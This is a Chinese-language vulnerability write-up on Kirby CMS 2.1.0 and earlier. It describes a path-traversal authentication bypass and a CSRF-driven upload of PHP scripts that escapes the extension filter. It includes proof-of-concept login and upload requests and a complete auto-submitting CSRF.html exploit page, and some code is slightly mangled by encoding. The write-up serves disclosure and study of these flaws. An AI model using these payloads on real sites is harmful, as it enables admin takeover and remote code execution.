Kirby CMS――多枚漏洞分析

      Kirby CMS――多枚漏洞分析无评论

  Kirby CMS 是一个易用、易安装和设置的非常灵活的CMS系统,无需数据库支持,使用文件系统存储。支持Markdown语法、模板和插件。

  漏洞细节

  在Kirby CMS中发现两枚漏洞:

  1.通过路径遍历绕过身份验证

  2.CSRF上传以及PHP脚本执行

  通过路径遍历绕过身份验证

  KirbyCMS其中有一个漏洞,允许攻击者保存/读取托管环境目录中的内容。

  由于KirbyCMS是一款基于文件的内容管理系统,在账户目录中它还存储有身份验证数据文件,每位用户都有其属于自身的密码文件,命名类似:kirby/site/accounts/[username].php

  在登录界面,KirbyCMS参考密码文件来验证密码hash。在此过程中,它不能验证生成的路径,并确保不包含遍历路径序列,比如说用户提供的登录变量中的‘../’

  这就导致它产生了一个路径遍历漏洞,如果攻击者出于同一个多用户托管环境下那么就可以绕过身份验证,以及向/tmp等公共目录写入文件。

  该漏洞代码存在于kirby/core/user.php文件中:

  ?

  1

  2

  3

  4

  5

  6

  7

  8

  9

  10

  11

  12

  13

  14

  15abstract class UserAbstract {

  protected $username = null;

  protected $cache = array();

  protected $data = null;

  public function __construct($username) {

  $this->username = str::lower($username);

  // check if the account file exists

  if(!file_exists($this->file())) {

  throw new Exception(‘The user account could not be found’);

  }

  …

  }

  protected function file() {

  return kirby::instance()->roots()->accounts() . DS . $this->username() . ‘.php’;

  }

  除此之外,我们在尝试绕过身份验证时发现KirbyCMS允许通过HTTP协议进行身份验证,并且身份验证会话一直不结束。

  概念验证

  KirbyCMS将凭证以PHP文件保存在kirby/site/accounts目录,防止通过网络服务器直接访问内容。

  凭证文件就像下面这样:

  php if(!defined(‘KIRBY’)) exit ?>

  username: victim

  email: victim@mailserver.com

  password: >

  $2a$10$B3DQ5e40XQOSUDSrA4AnxeolXJNDBb5KBNfkOCKlAjznvDU7IuqpC

  language: en

  role: admin

  一位拥有同托管环境账户的攻击者为了绕过身份验证,可以将上面的凭证内容包括加密密码hash写入一个公共目录,比如/tmp/bypassauth.php

  由于这个路径遍历漏洞,攻击者可以使用这样的凭证作为管理员进行登录(http://victim-server.com/kirby/panel/login)

  Username: ../../../../../../../../tmp/bypassauth

  Password: trythisout

  接着会产生一个HTTP POST请求,类似于:

  POST /kirby/panel/login HTTP/1.1

  Host: victim_kirby_site

  Cookie: PHPSESSID=mqhncr49bpbgnt9kqrp055v7r6; kirby=58eddb6…

  Content-Length: 149

  username=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Ftmp%2Fbypassauth&password=trythisout&_csfr=erQ1UvOm2L1…

  这会引起KirbyCMS从路径(/sites/victim/kirby/site/accounts/../../../../../../../../tmp/bypassauth.php)中加载凭证。

  最后攻击者可获得下面的回应:

  class=”hgroup hgroup-single-line cf”>

  class=”hgroup-title”>

  href=”#/users/edit/../../../../../../../../tmp/bypassauth”>Your account

  class=”hgroup-options shiv shiv-dark shiv-left”>

  成功获取到KirbyCMS管理面板管理员权限

  CSRF上传以及PHP脚本执行

  KirbyCMS还有一个漏洞允许上传通常不允许的PHP脚本文件,这个漏仅仅只能够被已经通过身份验证的用户利用,而管理员权限不是必须的

  另外,KirbyCMS还有另外一个漏洞――CSRF(跨站请求伪造),如果攻击者诱使用户访问一个钓鱼站点,这可能导致攻击者利用一个已经通过身份验证的用户执行文件上传操作。这将致使一个未经验证的攻击者修改或者上传内容。

  结合这两个漏洞,我们可以执行任意PHP代码。

  PHP脚本执行

  KirbyCMS除了允许管理员上传内容,还运行能够进入管理后台的低权限用户上传内容。上传功能允许上传图片以及其他一些媒体文件。

  KirbyCMS在保存上传文件之前进行如下过滤操作:

  ?

  1

  2

  3

  4

  5

  6

  7

  8

  9

  10

  11protected function checkUpload($file, $blueprint) {

  if(strtolower($file->extension()) == kirby()->option(‘content.file.extension’, ‘txt’)) {

  throw new Exception(‘Content files cannot be uploaded’);

  } else if(strtolower($file->extension()) == ‘php’ or

  in_array($file->mime(), f::$mimes[‘php’])) {

  throw new Exception(‘PHP files cannot be uploaded’);

  } else if(strtolower($file->extension()) == ‘html’ or

  $file->mime() == ‘text/html’) {

  throw new Exception(‘HTML files cannot be uploaded’);

  …

  }

  我们可以看到其检测PHP文件的方式,只是看文件的后缀名是否为“.PHP”,或者如果发现了文件的MIME类型被定义为PHP。如果这两个条件都满足,KirbyCMS才会停止上传功能。

  不幸的是,这两个检测选项都很容易绕过。

  很多服务器配置,例如Ubuntu或者Debian的PHP脚本后缀可以为:.php, .php4, .php5。只需将恶意PHP脚本的后缀改为.php4, .php5就能绕过。MIME类型检测只需在

  作为上传目录,默认没有设置禁用脚本设置,绕过检测就可以上传并执行任意PHP脚本。

  CSRF(跨站请求伪造)

  仅允许通过验证的管理员用户或者编辑用户进行媒体文件上传,然而KirbyCMS的上传函数对于跨站请求伪造却没有进行防护。

  概念验证

  上面提到的两个漏洞可以联系起来,攻击者准备一个可上传任意PHP文件的恶意页面,诱使通过KirbyCMS身份验证的用户进行访问。

  CSRF.html文件(见

  CSRF.html发送的请求:

  ?

  1

  2

  3

  4

  5

  6

  7

  8

  9

  10

  11

  12

  13

  14POST /kirby/panel/api/files/upload/about HTTP/1.1

  Host: victim_kirby_server

  Content-Type: multipart/form-data; boundary=—————————4679830631250006491995140822

  Content-Length: 261

  Origin: null

  Cookie: PHPSESSID=tjnqqia89ka0q7khl4v72r6nl1; kirby=323b04a2a3e7f00…

  —————————–4679830631250006491995140822

  Content-Disposition: form-data; name=”file”; filename=”kirbyexec.php5″

  Content-Type: application/x-php

  xml >

  php

  phpinfo();

  ?>

  —————————–4679830631250006491995140822–

  将文件上传值服务器的kirby/content/1-about目录,通过http://victim_kirby_server/kirby/content/1-about/kirbyexec.php5访问恶意文件

  一旦打开,将会显示phpinfo()页面

  CSRF.html

  ?

  1

  2

  3

  4

  5

  6

  7

  8

  9

  10

  11

  12

  13

  14

  15

  16

  17

  18

  19

  20

  21

  22

  23

  24

  25

  26

  27

  28

  29

  30

  31

  32onload=”kirbySend()”>

  function kirbySend()

  {

  var xhr = new XMLHttpRequest();

  xhr.open(“POST”, “http://victim_kirby_server/kirby/panel/api/files/upload/about”, true);

  xhr.setRequestHeader(“Accept”, “application/json”);

  xhr.setRequestHeader(“Accept-Language”, “en-US,en;q=0.5”);

  xhr.setRequestHeader(“Content-Type”, “multipart/form-data; boundary=—————————4679830631250006491995140822”);

  xhr.withCredentials = true;

  var body = “—————————–4679830631250006491995140822/r/n” +

  ”Content-Disposition: form-data; name=/”file/”; filename=/”kirbyexec.php5/”/r/n” +

  ”Content-Type: application/x-php/r/n” +

  ”/r/n” +

  ”/x3c?xml /x3e/n” +

  ”/x3c?php/n” +

  ”/n” +

  ”phpinfo();/n” +

  ”/n” +

  ”?/x3e/n” +

  ”/n” +

  ”/n” +

  ”/r/n” +

  ”—————————–4679830631250006491995140822–/r/n”;

  var aBody = new Uint8Array(body.length);

  for (var i = 0; i aBody.length; i++)

  aBody[i] = body.charCodeAt(i);

  xhr.send(new Blob([aBody]));

  }

  action=”#”>

  type=”button” value=”Re-submit request to Kirby” onclick=”kirbySend();” />

  影响版本

  Kirby CMS version 2.1.0 以及早前版本。

发表评论